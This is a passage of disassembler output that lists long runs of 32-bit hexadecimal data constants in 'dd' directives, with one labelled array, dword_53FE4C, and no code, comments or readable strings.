		dd 3BEDAB0h, 75855700h,	2C1D269Eh, 173618E0h, 0B26329BDh
		dd 72DC1F01h, 0BCC05ED1h, 56531984h, 0B88A81Ah,	4DC1BFB5h
		dd 0C4E5C074h, 400B9180h, 5019E7AAh, 874705A8h,	0D0A7B610h
		dd 8FE80140h, 3ED060FBh, 4A6D7D40h, 0B444A0CAh,	6087E487h
		dd 342BF2D9h, 0AA991059h, 4A08C88h, 0AE3C2A5Eh,	70E9129Dh
		dd 6E7AA800h, 0B1DECDA1h, 5F4F557Fh, 60F78C88h,	5E77AEAh
		dd 2EE144D4h, 6380189Bh, 60D4BD7Ch, 0E444008h, 9DBF0624h
		dd 0D606299Ch, 533FD4C4h, 724B8B1h, 58B91C79h, 40E14668h
		dd 3A5AF4F8h, 184E4890h, 0A6C95BC6h, 2DC4E00Ch,	562B24EAh
		dd 399E40FCh, 0D4E3AAF9h, 5CB37EB5h, 7A5E478h, 846AED6Ch
		dd 440E60E7h, 234B790Fh, 5E4BD092h, 56B78BB8h, 20CFDC68h
		dd 626BB627h, 70787BB8h, 0D8048231h, 9AE21F1Eh,	603AFB0Bh
		dd 17116815h, 7E55D280h, 0FF09ED06h, 619FAE09h,	69D95AF8h
		dd 971C927Fh, 20E47065h, 7B2AB960h, 0B32CAD01h,	0DCF9035h
		dd 175E8864h, 0B2270925h, 302BF280h, 2E01E0EDh,	1521C69h
		dd 58E41E95h, 308E2556h, 7C00F07Ah, 0D0B62D09h,	4079EFA6h
		dd 2378B7BBh, 0D8D40A2Fh, 0CEE4097Ch, 0C817BD62h, 0C87A091h
		dd 0FDDE42FBh, 1AAEE060h, 2F9E5A80h, 689D4FBFh,	7780A191h
		dd 0FD24B97Eh, 0F3BC900h, 59100111h, 5981E9AEh,	90D3BC8Bh
		dd 2FF4E130h, 11C3C49Ah, 3F969F9h, 458CE01Ah, 9D069718h
		dd 45D1289h, 0AB86DAFCh, 7DE080BAh, 406A9777h, 46743420h
		dd 4EE0019h, 4CEF06E3h,	74B900ADh, 59802AB2h, 32D3C62h
		dd 0C4906765h, 52CE61B0h, 1DA0207Ah, 40B28AC6h,	32035518h
		dd 68AFD9h, 7D850570h, 5AD869A3h, 0AC407A4Ah, 3FF621C4h
		dd 0B5AD002Dh, 6AA9FE81h, 0E0760E8h, 0CEFD3258h, 7348A9E9h
		dd 0BD7670D4h, 0F9229D02h, 4074598Ch, 2FAA9B3Ch, 504837C5h
		dd 908077A7h, 0D39917F4h, 0C27CFCA6h, 0C01A7E7Fh, 803C67B0h
		dd 0CD38FC15h, 0DA5902AAh, 57FEC5CCh, 0FA1028C9h, 12C24100h
		dd 96B83E13h, 0DDD26051h, 0D7A478B5h, 2F35013Bh, 5A6B4538h
		dd 4029EC20h, 2A16FBAEh, 78B06D3Ah, 0C04520E7h,	7A3BB10Bh
		dd 0ADD87B94h, 3652F4E0h, 0B41A94A8h, 0F9936F00h, 0A491EB29h
		dd 9832D10h, 0B32064D0h, 882EF130h, 6A0F2390h, 69E9DAEFh
		dd 5F7C427Dh, 3FB87093h, 0E5B7466h, 2A03007Ah, 74C987BAh
		dd 12E53BE0h, 27E2F890h, 4F564280h, 582882AEh, 0B0458CFEh
		dd 0DA3B78C9h, 0DBBDC0E8h, 3CD60E10h, 390451A0h, 5CE1AAD7h
		dd 1ABFA686h, 0B081381h, 9E30F4F9h, 97D41040h, 22DB9041h
		dd 0ACA05DACh, 394300CDh, 0AABF60BEh, 0A4BA0345h, 6CC9CB16h
		dd 23F20089h, 4102A311h, 0DA09A87h, 4284DE39h, 0E75D4953h
		dd 602CC4F0h, 0B43BD84h, 0CC22B664h, 51857079h,	8B8AE3Bh
		dd 0BFF93050h, 0D8542409h, 0A21F17DCh, 0E0A977h, 0FB3530F8h
		dd 73B8F7B6h, 64B89E6Ah, 0AC1CE9F3h, 9C6002B0h,	97E0F0CAh
		dd 1068035Dh, 0CA9FE8Ah, 7B42261Fh, 0F44A6DD0h,	6BB82008h
		dd 6D64F045h, 0AB75367h, 0BCAA31B8h, 16305158h,	0BA05345Ch
		dd 50F6A86Ah, 0AC1DB800h, 6244FA7Bh, 61C98007h,	2B70CE3Bh
		dd 95EE788Fh, 0C3F1F0F1h, 0F80F5918h, 0A06CE6F3h, 3B573295h
		dd 0F07F606Eh, 0BA765273h, 42782297h, 0AAB0185h, 189A6E92h
		dd 378CCBC3h, 84FBBEF8h, 0B59BDC01h, 90BB7DD0h,	0DDFCDA6Bh
		dd 711F2B00h, 16CA9388h, 0F990BA07h, 49AC64h, 0F97DAD63h
		dd 0D617FD5Dh, 0FAB3C413h, 0F9FBECC2h, 76B40070h, 6B485AAAh
		dd 83992412h, 0A88870B8h, 0C7C0AB41h, 3CC4CF0h,	0E40B54C4h
		dd 1000551Ah, 3A19AE0Eh
		dd 19B8A1A5h, 8999BD0h,	0D7218011h, 82B51985h, 27A30177h
		dd 32F4C981h, 8954EC6Eh, 4CBB5B03h, 584443h, 0F3752E30h
		dd 0E0D9D091h, 0D21AF00Ch, 0C0710898h, 910B9621h, 0A2E23E40h
		dd 3F048974h, 573D85F2h, 0B0E15500h, 6F07454Eh,	75F8ED7Eh
		dd 0E902F06h, 0AE9C4B68h, 4AE93820h, 180086BEh,	8AF429CDh
		dd 1063C5h, 438FEDB3h, 49BA159h, 80346839h, 69792BB9h
		dd 6074831Ch, 0EC4C68D0h, 0F10117D4h, 5878C887h, 8A0D84Fh
		dd 0CA0E0138h, 0A32CF717h, 841EE4EEh, 29EF5C00h, 0EB12B754h
		dd 7AD100D8h, 0AF40B0B5h, 42604581h, 0C18706E9h, 23880E74h
		dd 828017E5h, 0C0051F63h, 0BEE14A00h, 2CA381FCh, 0A822FCBCh
		dd 7ED9CEB8h, 0FD1E0033h, 0B2528953h, 0D037A24Dh, 0E50C83Fh
		dd 7C76F236h, 0FD82185Ch, 0EEA4183Dh, 28F9C520h, 46F4CF1Ch
		dd 19B00209h, 31B1A538h, 87D91008h, 2510319h, 305F74F1h
		dd 7278E000h, 1C66DE39h, 0F9CAC88h, 87F017D1h, 21FB8C31h
		dd 17CB0011h, 26A605F2h, 3F019102h, 1DF83B35h, 0F45159D8h
		dd 0F0D389FAh, 3599FDEFh, 8184EAEh, 4C03C28h, 46D9D391h
		dd 1492298h, 2891FC95h,	0C26A13C0h, 68409C8Eh, 0C9CCE10Dh
		dd 71583C30h, 0F5B39ACh, 0F838D7B0h, 810CF66h, 992180F3h
		dd 92885B41h, 79061F91h, 0E9EF03CFh, 0B0A7190Ch, 56691FF9h
		dd 16A4B206h, 363954EBh, 94F9FF74h, 0A74A2C00h,	9D66895Bh
		dd 8B5F01ECh, 0DB6EA3AAh, 5407E432h, 25CE7C01h,	3D5C9040h
		dd 72692C8Fh, 0BF3A5898h, 0BE2F88h, 0E55F2411h,	53408FCh
		dd 8B482Eh, 0F5C1971Fh,	33DA39D5h, 0F8A81CE5h, 2B58094Ch
		dd 2021043Eh, 22778D27h, 0DD4D0068h, 9B810FF4h,	161C00E3h
		dd 7C040C46h, 3F7EA494h, 0D7C8AC02h, 4048C183h,	90D022Ch
		dd 529E84BCh, 19FF2091h, 0A5BBB06Eh, 0E32C8148h, 7D19E0DBh
		dd 6AF07225h, 11288904h, 2CF8986h, 4CC08718h, 31036228h
		dd 3842C913h, 50560B41h, 20CA9BFCh, 8FD9D0F5h, 231C1B48h
		dd 9106073Eh, 6208F4D1h, 0FE932046h, 3C0E2D91h,	78749A40h
		dd 1009F2F0h, 0D40652BCh, 8C07B8A4h, 3A02790Ah,	5A89E4C8h
		dd 3D6154FAh, 2B1D8080h, 0E9358246h, 0A9976200h, 0B793B38Ah
		dd 0C1B60A40h, 4038FC54h, 0A537198Dh, 0F229946h, 1984EE00h
		dd 836EF659h, 0E30900FCh, 8C12EFACh, 21347BB7h,	2C80D862h
		dd 0FE162Bh, 5CE253FCh,	9250BD59h, 0C60349C1h, 70302127h
		dd 3ACA1CCFh, 2F384FDDh, 38A0FF89h, 79C8A357h, 99BAD280h
		dd 60FC7BFCh, 61FD160h,	7BD6A3F9h, 0A17C702Ah, 0C00AF8C8h
		dd 0A52D19AFh, 0D880A943h, 6B281986h, 0A3A53D03h, 0B846444Dh
		dd 0FE41B78Fh, 51BF06B5h, 305CE81Ah, 0B8D71D15h, 2EC3BC8h
		dd 721EEA2h, 0E7E86077h, 4359C90Dh, 0C42DE091h,	2800671Ah
		dd 0ADBD8522h, 0D4B633h, 0F79D65B7h, 0A48F401Eh, 0F350E67Fh
		dd 90024190h, 0D1EF0DA2h, 80DFE29Fh, 2E7FC0E8h,	0F1F1F157h
		dd 458D2880h, 62124293h, 5902F2EEh, 0CE15A2E3h,	50F4649Bh
		dd 44D65C5Fh, 9A01FAABh, 7BD74AA1h, 28BE7C75h, 9F3D60Ch
		dd 0CC26F6C8h, 34C078DEh, 46D78D5Bh, 14B32210h,	0C25B3C8Ch
		dd 0F7930F00h, 0C3510A97h, 68CDF406h, 0A1C0C1AEh, 0ED1835ACh
		dd 2B289148h, 4B11F4D0h, 91059C00h, 5CD4EAF7h, 0D9769913h
		dd 0C89A7004h, 0EE4A5401h, 0E450301Fh, 92BC1E54h, 0DF421D00h
		dd 595236E7h, 0E09D033Eh, 6ECD8133h, 291F09DBh,	9F80A6C5h
		dd 51DF28D3h, 0F6B7564h, 3F80260h, 40071A40h, 4950D8A2h
		dd 0AE0AD190h, 642A883Ch, 0F11600D6h, 563206D3h, 0A30A35E3h
		dd 0E4F63DE6h, 16E4F206h, 0EB270099h, 0A8B4B941h, 3008D87h
		dd 0CF621B90h, 48464B59h, 4CBCF9h, 0B3400C04h, 7264C843h
		dd 2DB525Ch, 0F8A3B7D0h, 3CD8497Ah, 0B3002032h,	0B0955A49h
		dd 0F800222Dh, 97A15D63h, 0BACEA6h, 0F6BF318Ah,	1D8B4FAEh
		dd 0C9406967h, 48813A5h, 54C2123Ah, 8BB060FEh, 0A5213919h
		dd 82DCC089h, 0D309619h, 54E48ECFh, 0A2BB02E0h,	17AA2BC0h
		dd 2365B4C8h, 6DD0B8A0h, 0D62CA883h, 60BC31A3h,	82433710h
		dd 0AD1922E9h, 0C532C0EDh, 7C6E0028h, 760CDA66h, 8205D143h
		dd 0BA718872h, 0DBD7B097h, 9C00FC15h, 0F5A56E2Dh, 0BAD4269Eh
		dd 47465EF4h, 63254800h, 0BCD21F3Fh, 908DCB1h, 0EF01002Fh
		dd 1AF2EC5Bh, 0E6FF4807h, 0E771B42Eh, 48AC2C39h, 41FD12B0h
		dd 0E0A39FB4h, 12F1817Ch, 5E5953D6h, 49AC4203h,	11C81D55h
		dd 0A69B81C6h, 20ECB81Ah, 4D389051h, 741694A1h,	6E9840D2h
		dd 0F362C88h, 0DBBDCE05h, 0C8131AF3h, 0CE87AC08h, 0A2ED17A7h
		dd 0F81979A8h, 0C6122180h, 1E722B17h, 1964BD1Fh, 7F78AD84h
		dd 90D485C2h, 3CCA3C90h, 1E8341B6h, 0D22DFF62h,	9926AE05h
		dd 0D8065606h, 9AC9D944h, 0D1C899F0h, 5171849h,	0A62AA80Fh
		dd 0B8A0006Eh, 3F7A7DD1h, 45DBBE02h, 0E753E02Eh, 2EFB4220h
		dd 426718h, 0FFF3EE23h,	3D7DC17Fh, 5A159B00h, 8E05729Ah
		dd 0FB8C7A0Dh, 0C6D8C980h, 0FA1C211Bh, 0C300B5B0h, 0FE84CD77h
		dd 1E8AEBFDh, 1CE3A04h,	0BFB63EFCh, 50E7D764h, 8B5E830Dh
		dd 0BCA7ACB8h, 0D9601244h, 0D700EEF5h, 0A9BCEF3Ah, 5022A36Fh
		dd 301388E1h, 41581B17h, 0C6252EDFh, 0FAFC00A7h, 216374Fh
		dd 90918B93h, 0E069A846h, 0FEF21842h, 0E8D92CCDh, 36072D4h
		dd 3067A91h, 5A446199h,	59710E19h, 0B8A047E5h, 413F29CEh
		dd 8AC9A2Eh, 8853D182h,	71145969h, 3B2B18F5h, 4D8BBE67h
		dd 80243952h, 0E234A2C5h, 44C4300Ah, 803B3899h,	467CA44Ah
		dd 723EEFh, 221DE679h, 26D1AD48h, 0AC1BC43Ch, 3698B4C8h
		dd 3CAE2E49h, 4E83EBCFh, 0DEA0420h, 8CEA2492h, 0D70FD067h
		dd 5851B0EAh, 4F84CE6h,	0D78B5B36h, 0C038B240h,	0D65B3E8Eh
		dd 95A10E41h, 29255D6Dh, 0E58DC31Fh, 8230D4BCh,	0F0C7013Ch
		dd 0D066C8C4h, 111BB125h, 0B4180568h, 0A52C1909h, 9200E5D1h
		dd 8D5800D5h, 9E8F2DADh, 0C7E67005h, 3E859FCFh,	7140FC00h
		dd 96F497FCh, 43DA02E0h, 486110EAh, 50A3F851h, 553A4490h
		dd 5901B7BDh, 48C60EB2h, 697F775Ch, 3465181Ch, 602F08EEh
		dd 0E2718996h, 1C90B360h, 98305EDAh, 48CF4C14h,	402C82CAh
		dd 870617D3h, 382CE04Bh, 17CD000Fh, 0EA4EAE6h, 902582h
		dd 2B89EC03h, 0B5B613C0h, 52F4C80h, 646F51C6h, 34711AFEh
		dd 0C1180359h, 0D657310Fh, 5C82E5DEh, 0EC472489h, 8A52E2C0h
		dd 0D3C9FA91h, 0CAC404E8h, 0FB4F0701h, 0B1304D36h, 184DD174h
		dd 0CFF7676h, 0BD3A2FFDh, 9A000679h, 0ECC8E3D2h, 0EC3C97DEh
		dd 250B01A3h, 71C0B645h, 0C4AC4B69h, 372EF7h, 4E8956Ah
		dd 18290602h, 0E49AFD5Bh, 0DB71CBCh, 4A54029Ch,	0B489F63Eh
		dd 63DA6C00h, 85000EC5h, 0BFFAD0D7h, 0A0093A2Bh, 0B2B1E780h
		dd 0E52612BCh, 11243A4Eh, 76C02EF9h, 75500928h,	5F7ABE00h
		dd 41DE3935h, 0FBBD26EDh, 0C8F29304h, 48CC830h,	0D7AF5B3Ah
		dd 20B16260h, 0C75B429Ah, 0AC7C8D00h, 0D6B32C64h, 0D98A004Eh
		dd 0B038650Fh, 61007D79h, 278707C1h, 3EA61531h,	0A4837F63h
		dd 7955E92Fh, 3007E0A3h, 0CFD36475h, 68F82941h,	85480EE3h
		dd 0EEE09CCDh, 0E613FDB9h, 217E09CCh, 9CC500A5h, 84C9F491h
		dd 0FF005C8Ch, 1D8D0966h, 34DD0E1h, 0BB10437Ah,	6900DD5Dh
		dd 0D4286DF9h, 19898462h, 8545A79h, 1F2180EFh, 3A032866h
		dd 0DC5D003Ch, 0BA24F2D0h
		dd 0C601D255h, 2C91B1A0h, 0E2ED0857h, 1CF40CCh,	702A3A11h
		dd 0FC252DCBh, 0E87DC7B5h, 0CDBF04A0h, 0C6683301h, 0BC104408h
		dd 86E4848h, 8C62D528h,	2045F3C4h, 40E41D67h, 193D5D9Bh
		dd 6C00E6ABh, 96AE69C7h, 0C2C5D8h, 0BC178180h, 0FA0F386Eh
		dd 0B701E6F8h, 61D9DF6Ch, 0CC50794Dh, 1D33395h,	342DFEBFh
		dd 981DF669h, 0B7218E08h, 7D3002Bh, 9FE244C7h, 105189EBh
		dd 0C833F2CCh, 46EE6A9Ch, 37922C9h, 39CC7A7h, 5907894Dh
		dd 0E750818Ah, 373B805Bh, 0F463093h, 21ECE4CFh,	0A82AE6C0h
		dd 39056DF0h, 0DFF57467h, 0A5028047h, 6E0AA26h,	0F84A5BC4h
		dd 0C7076977h, 0E8B634BCh, 0F867DCC3h, 3382489h, 6F6C9239h
		dd 9DF2CE60h, 34745C81h, 0E749F0D4h, 0F6D10C91h, 1D002C18h
		dd 0FDCDA52Eh, 1A2826Fh, 0C1247627h, 20C64C42h,	6760AAAAh
		dd 34CB6F70h, 0F0270197h, 1B1F3B70h, 0B600204Eh, 2868048Ch
		dd 625C62CFh, 611A21F4h, 0DE50C828h, 0BDFFE602h, 905EE82Ch
		dd 6F8C390h, 0CA360D6Ch, 0D881E96Bh, 8D3182Fh, 0E9EE6E9Ch
		dd 0CBAB70h, 32F0DC9Ch,	7D0D14BBh, 601CC230h, 0EE3D7D9h
		dd 0DFD28F37h, 0A5160140h, 9A39E025h, 5FD99228h, 0D3313060h
		dd 1DFE23BDh, 0B5008A11h, 0D54ED329h, 58A09EE8h, 7A30FA6Eh
		dd 0F89A7836h, 0D15C9169h, 7BB1889h, 4707406Dh,	10B497F7h
		dd 3D3B5031h, 0C064A8C8h, 0FEC2D336h, 8C224546h, 0D32EBA00h
		dd 3B81EC32h, 0AFF61DCBh, 43CDC93Fh, 0EE91E017h, 99789F80h
		dd 3139702h, 24016CB8h,	0DAF9ED1Fh, 62F028B2h, 10D33430h
		dd 0E035FEC0h, 1AD32CB8h, 69E12EFAh, 0F311689Dh, 57D39580h
		dd 8609BAC8h, 10F97408h, 48CD642Ch, 1702DC3Ah, 31C6FA8Eh
		dd 0D15CD083h, 0F8CB173h, 0FEC3D337h, 0BBE0A854h, 8600D32Fh
		dd 0F0730852h, 0C0255F2Ah, 74E91450h, 1062D8FBh, 481FC178h
		dd 7F33863Ch, 412B0066h, 50F390A3h, 0BA1F51D0h,	93045EEEh
		dd 7406756Bh, 38F069FAh, 4EF17600h, 6C56C6E9h, 0D814629Bh
		dd 0AE1010A0h, 0BB083A5h, 482362Bh, 6C60BAA0h, 6223D328h
		dd 39F2117Ch, 6028801Eh, 626D05E9h, 0BC6B486Fh,	0D00F2C23h
		dd 0D1EE849Ch, 0A8207B62h, 0F8E29CC8h, 0C5650C1Bh, 90988636h
		dd 0E8443829h, 0D518F179h, 63D9FB01h, 6D441698h, 0EB1E6885h
		dd 0DF9049BDh, 4A008437h, 4E98B1F1h, 6024A9A2h,	0D3083218h
		dd 0C425FEBEh, 2AB6408Fh, 3810D3h, 0C0A31B3Ah, 1559B8Eh
		dd 1A129A74h, 8C1C0EE3h, 0D8249D1Fh, 38806691h,	55FEC4D3h
		dd 0BCC05CB1h, 709AD330h, 0F931005Ch, 229B2B41h, 84B0E7DBh
		dd 9514A0FCh, 4B07A66h,	868F16F8h, 6971D0C7h, 36A435F0h
		dd 63D44088h, 8005805h,	3F879023h, 7042A11h, 0B7F26B2Dh
		dd 0E0A857B2h, 6D96F6C4h, 1538705Ch, 11B86CDFh,	74147DEAh
		dd 9E62105Fh, 8848F75h,	217C856Fh, 0D398E8B8h, 0FA888104h
		dd 4C8233A6h, 21E8C53Ah, 188C71BCh, 85791BDEh, 40E470D8h
		dd 0B2EA9969h, 658DCFFh, 816DF8CCh, 66DAF100h, 12D0375Bh
		dd 0A8E4B1EAh, 8AC00002h, 25A88535h, 3D07AC5Ah,	1C04F842h
		dd 0A53A6191h, 406FF020h, 0C5EA3740h, 91F8F55Ah, 18C2CF0Ch
		dd 0B40795E9h, 7F8F7DFh, 4E71BCF0h, 4B69C087h, 0A326B3D6h
		dd 0DC486338h, 551F0E0Dh, 0C2E7A23Ch, 7A984043h, 834D8078h
		dd 75CD39C0h, 0B03AF6h,	0ECFAE418h, 2C55AF4Ch, 347A3931h
		dd 818013C1h, 3238BD2Fh, 0DDE4A999h, 25099066h,	0B54F0021h
		dd 22567038h, 5490D301h, 98E23328h, 79967E0Ah, 143AE497h
		dd 872CCB65h, 991738C3h, 472BC468h, 67F0BB55h, 7892C0h
		dd 4D27D01Fh, 5D5391BDh, 0A834B51Dh, 0D4ED15h, 0CCCA8ECEh
		dd 0E8959E7h, 0BE5537Fh, 0EB6AB20h, 0C3F0F7D7h,	513097E0h
		dd 0EE6D9068h, 179F280Ah, 15C130C0h, 877BBF79h,	7457FA0Bh
		dd 0ADB098F6h, 8A4ABBAh, 7D4D8F48h, 6D3CF805h, 8C2A28C8h
		dd 699CCE04h, 0A638C1EEh, 5E9CC601h, 1DBF02EEh,	5C9B3F00h
		dd 0B096FF3Bh, 0F00B6069h, 46749836h, 286A02B8h, 0E76C62D1h
		dd 631C0088h, 0A7030D28h, 0E99F001h, 0DE60DD32h, 74F8D910h
		dd 26B089C0h, 7ACF1469h, 82500DAh, 0D07710DEh, 8905A0Dh
		dd 0BF02C746h, 0B9993438h, 51102331h, 0B80F38B7h, 929AEA9Dh
		dd 68840405h, 0B9CEB020h, 78B419AFh, 101018F5h,	79D5BC5Fh
		dd 0D3B7012Fh, 0FEF56F3Ah, 2281E996h, 20A7620h,	0C4A89ECDh
		dd 37FAEE0Eh, 0A83AC44Dh, 0B2E0E476h, 0D2FA9048h, 188E0C48h
		dd 0F260A00Eh, 59FD74FAh, 0B7237C11h, 0D0286901h, 0F5186462h
		dd 28F41B89h, 687F00C4h, 5CC644FFh, 0E9090A5Ah,	0EDC63CEh
		dd 99F8C38Ah, 22C81015h, 2A293D1Ah, 4A00CC76h, 0A5535A14h
		dd 0CE9CCCh, 0A2D703E7h, 0FF6204EAh, 0CB016300h, 0FD79EE6Eh
		dd 64433C90h, 84C11194h, 2480B24h, 0A4C29D62h, 1320E4C4h
		dd 60F0982Bh, 12F2199Ah, 107CAA15h, 57CEE801h, 71F9AD75h
		dd 95B78981h, 0DC1F3B69h, 8E00A527h, 6429235Ah,	0BA1EBEFBh
		dd 0E450A50Ch, 92D960F6h, 0C4E00072h, 862A59E2h, 0E62A1EF0h
		dd 0FE09D07Bh, 2275098Eh, 37E18B4h, 2100764Dh, 93FD5AD2h
		dd 0C917857Dh, 0C03030F0h, 6F119CD4h, 7D88F1EEh, 0ACAC94h
		dd 4C352F9Dh, 0DF814E9Bh, 0AB220059h, 0D422E9Eh, 8B24104h
		dd 0F7C2F08Ch, 592472CDh, 184C6035h, 1D10D010h,	5640C097h
		dd 0EB029B1Dh, 0A08090EEh, 807D3D64h, 764A4890h, 77346800h
		dd 2EB4F6C7h, 1AD0EAE4h, 0A804492Ch, 286760B5h,	546223CEh
		dd 1900ED11h, 5D2B2860h, 7C512DCDh, 0E184F188h,	1E00D21Bh
		dd 54C36C1Ch, 28680862h, 541895A1h, 12968C66h, 0C22C6B32h
		dd 0F8234A70h, 1421016Ah, 0D05F6717h, 6BD8CC3Ch, 0B049214Ah
		dd 0C6D404D9h, 8BE18D8h, 0B1993338h, 504027C4h,	0B0EE38B6h
		dd 8C3BE900h, 0F0934B91h, 2C60481h, 0C87A8577h,	2CA4CC00h
		dd 3938C40Fh, 56E0D099h, 0E90038BCh, 3F29B969h,	12748891h
		dd 0DB640FD8h, 489F8174h, 0C000F04Fh, 0DC7E4685h, 84B7EB00h
		dd 6BC40798h, 15A4949Dh, 8C53E42Dh, 4030F3A2h, 0A77204B0h
		dd 0A3A11E58h, 0C51276C0h, 400EA2CEh, 7000DFF5h, 6A2FD0BBh
		dd 0A8414C6h, 3106CD9Bh, 0C1804E60h, 4B0717FEh,	15C9998Dh
		dd 0A034D1A0h, 2B2A2E66h, 14C292A0h, 539F0CF2h,	2E68C28Ah
		dd 0B09CD230h, 0A8E1499Ch, 0AA808188h, 2CDE9CCAh, 326179Bh
		dd 5B2E0208h, 849DE64Bh, 3D80F511h, 6456B185h, 0ABC7EF0Fh
		dd 3EA56274h, 0E1808E9Ah, 0D6F4D32Ch, 8AA2FC33h, 258C2730h
		dd 0A41DC5E8h, 0E6809211h, 8DFBB2D4h, 5BCAE901h, 1694266Bh
		dd 9C4C8423h, 2D8C2CB8h, 0EED64756h, 6F8F033Ah,	0E0F0057Eh
		dd 1F29B3Ah, 6CB801DAh,	0D2F9D1D5h, 0D411BCA1h,	8779CC2Bh
		dd 0C60971E0h, 6514C236h, 607DE4B4h, 417BFC5h, 6CCB9120h
		dd 0F208A2BCh, 58D3027h, 0D2F2F606h, 706170F9h,	0EBC900E5h
		dd 0C38D59E4h, 3AF8A535h, 0EC59C0A2h, 0FC198B71h, 391278C2h
		dd 0D0804EEAh, 9EA32A08h, 7E465EECh, 7159410Fh,	7425BDBCh
		dd 0FA984090h, 0BC091E28h, 31266FF8h, 0C8444872h, 3538C060h
		dd 448C997Ah, 0B8395229h, 2CBE8138h, 7D5732BBh,	900C7871h
		dd 0E57C00B1h, 797E38AEh, 0B0003588h, 0B236845h, 178FA8FCh
		dd 8B1089D6h, 0C07DC800h, 7B8D743Ch, 6780F1A3h,	0C8C07E9Dh
		dd 0BFD7349Ah, 32F02580h, 0BD7D1B01h, 0BC686C81h, 8C008C82h
		dd 32937E62h, 3818393Ch
dword_53FE4C	dd 971672C3h, 758041ADh, 6D526723h, 0F8592204h,	995418E6h
		dd 1AA38878h, 71D09A82h, 188D59A4h, 0F8A4EAC8h,	6E7615EFh
		dd 0C927E839h, 53E688A0h, 730B68EDh, 9DD3648Bh,	807C1120h
		dd 168C0A1Ch, 0DD6E1DCEh, 992481B4h, 258F9194h,	0BC0C28C4h
		dd 0A7028C7Ch, 1F831B06h, 88E4EBh, 0C198B0F6h, 5D7010C9h
		dd 2F5A8525h, 0D84012A0h, 9F12EE66h, 60A0A219h,	94A32291h
		dd 0B1A000C4h, 90CC6FCEh, 0FEBD5202h, 8A8A8966h, 8507C48Ch
		dd 1FAB9161h, 802911E4h, 0C936E8B4h, 0E78403DEh, 1ED1D0F6h
		dd 58991E7Ah, 4DE4C24h,	0AE63B32Ah, 3D9CE05Ah, 39993080h
		dd 0E06106F2h, 3CD15CD4h, 8C8DE8BCh, 3CFDC801h,	0E55ECEE4h
		dd 0EA0B4464h, 3DCC013h, 7DECE085h, 41B2C3A1h, 7DA60CCh
		dd 6AC98F01h, 25F17024h, 1897444Eh, 0C980F211h,	1FC48CACh
		dd 261706E0h, 8611E87Ah, 0E8C84C9Ch, 36008C80h,	0EB2A5DE2h
		dd 4B1F90A3h, 3EFC40F9h, 95DB158Eh, 0A0B0FE00h,	861AB27Dh
		dd 32F51DB9h, 0E13891Bh, 8B617C90h, 28229A80h, 0CEB8F1C7h
		dd 974BC5D0h, 9563C848h, 109B5631h, 0C28A9A2h, 0A45F841Fh
		dd 0C3618214h, 90E6285Eh, 4656F4B6h, 0FC038F2h,	85822ECFh
		dd 208E259Ah, 45C09288h, 0CFF6Dh, 0A5460E5Ch, 94E2D144h
		dd 0C0A34233h, 0E8B426F0h, 7F467484h, 6AEF5800h, 0E8E5FEBCh
		dd 2C036402h, 40232AFBh, 3E37725Ch, 9298CDC9h, 34CB3969h
		dd 0F0328C02h, 0A017C235h, 3C9AA298h, 0B8D714ECh, 0F578B067h
		dd 88ACF604h, 8C56BDCBh, 84BE28E0h, 0C5183000h,	31E3AA0Ah
		dd 54954BD9h, 7CE8447Ch, 0D4120B8Ch, 5C98A270h,	0E007D0BBh
		dd 883C1DA4h, 0E4D31A81h, 0C0682C21h, 258C89BCh, 44A05E4Fh
		dd 461AF861h, 907CE090h, 819E360h, 247EC44h, 9DD38838h
		dd 88C06FBAh, 7C405D77h, 80D09EF8h, 3F3395A1h, 0E500F3CFh
		dd 85D1FCB3h, 175C9F0h,	39122E5Fh, 76C60AE6h, 3028E20Ch
		dd 740536F4h, 0F5C41C62h, 8BF21CF2h, 2D5E7D30h,	0B4357A6Eh
		dd 0D86A6687h, 851C1490h, 117F05BFh, 0D9DAFAh, 0CF9FF6C8h
		dd 10B69044h, 0E2A4674h, 61C76352h, 0CBB89C2Bh,	40921C30h
		dd 0F0B1619Fh, 0D6188FD1h, 6774A400h, 1FBC2759h, 44702724h
		dd 0F6119C17h, 130DF180h, 0EA005CA4h, 2D380968h, 4EBF229Bh
		dd 0E1E045FFh, 0B264B369h, 24AB3028h, 0C1FDC702h, 5C0474C5h
		dd 0A56282E8h, 84838C6Eh, 0E100854Eh, 7088DC16h, 76896096h
		dd 547F8Bh, 0AE5FF620h,	1B9EFAEEh, 8508DC96h, 0F076005Ch
		dd 0BEAD636Dh, 48B6109Ah, 8F2EF940h, 221C0023h,	11C3E1E4h
		dd 0D201E777h, 0EC4BFFB9h, 6B01296Ch, 9B380024h, 78BCBB26h
		dd 601C7DA5h, 0DED3A636h, 26C80CCFh, 6E9BC4C0h,	0CD020CD3h
		dd 74D879CAh, 5A00152h,	80E2CCDCh, 60FED8A4h, 0CE3FC013h
		dd 2A00112Bh, 2D4BF070h, 72692476h, 0FEC6099Bh,	649D33DDh
		dd 73827B11h, 344056FBh, 0DB44F774h, 0CF012C64h, 0F0467668h
		dd 4DDD1B00h, 5D6EFF58h, 9C02E89Ah, 0BBEC5AEAh,	44E4676Ch
		dd 0CFC7648Dh, 71889F00h, 4B6AEE5Dh, 88448BDFh,	770DC08Fh
		dd 687CF16Bh, 1A9BA21Eh, 0C020717h, 41036505h, 5010EAB8h
		dd 7E1F4199h, 0F3C0C2DCh, 6F1EE88Bh, 9093045Bh,	0AC96E944h
		dd 0DA018448h, 0A2A03744h, 307FF2C0h, 0C91FBBE5h, 9096479h
		dd 0D1C47944h, 2E041880h, 8B7942h, 41C5AA2Bh, 864E2F2h
		dd 608EDFE8h, 0D5C028C8h, 1698FBAh, 0B42443F4h,	60E1F867h
		dd 80404918h, 41E94A1Eh, 956E7EF0h, 2002482h, 2673B121h
		dd 8A465C88h, 0D8BEDD05h, 4AD4B7E3h, 0EDC8988Ah, 0E6123C7h
		dd 0B064804Eh, 1FDCA45Dh, 0E4529136h, 0CF6A9654h, 11031090h
		dd 23A42F5Bh, 340B03F0h, 9780A912h, 0A803058Dh,	99D8B07h
		dd 6A0C382Dh, 3E8500Eh,	58200218h, 8906C372h, 81042444h
		dd 211B6009h, 2AC35040h, 22BE6300h, 1192EF3h, 218A510Fh
		dd 38F7B7D8h, 0C17DE381h, 0D9BD3112h, 0B709209h, 6B85FC06h
		dd 83F53F2Fh, 0AC113FF0h, 3E843EE3h, 559C1D64h,	0C8C35D61h
		dd 448C6C89h, 55034516h, 0FD1C3EC3h, 69422F8h, 91BD8B1Eh
		dd 37E98271h, 8805541h,	20020652h, 85C76160h, 47014BA1h
		dd 229AA12h, 0E2DB533h,	6605912Eh, 2793F5BFh, 8D95081Fh
